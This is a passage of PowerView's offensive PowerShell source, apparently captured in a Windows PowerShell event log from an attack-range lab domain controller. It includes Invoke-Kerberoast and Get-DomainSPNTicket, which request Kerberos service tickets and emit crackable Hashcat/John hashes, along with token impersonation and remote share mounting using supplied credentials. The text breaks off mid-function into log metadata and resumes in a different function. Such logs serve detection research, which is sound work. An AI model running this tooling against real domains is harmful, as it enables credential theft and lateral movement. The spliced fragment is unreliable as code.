$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats. If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
$Permissions += $SimplePermissions.Keys | ForEach-Object {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
}
}
# get remaining extended permissions
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
($Permissions | Where-Object {$_}) -join ','
}
$ConvertArguments = @{}
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
try {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$ACL = Get-Acl -Path $TargetPath
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
$SID = $_.IdentityReference.Value
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Path' $TargetPath
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
$Out | Add-Member Noteproperty 'IdentityReference' $Name
$Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
catch {
Write-Verbose "[Get-PathAcl] error: $_"
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Domain* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
# convert all listed sids (i.e. if multiple are listed in sidHistory)
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
if ($Descriptor.Owner) {
$ObjectProperties['Owner'] = $Descriptor.Owner
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}
########################################################
#
# Domain info functions below.
#
########################################################
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit = 120,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Db853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110274Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local541)
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
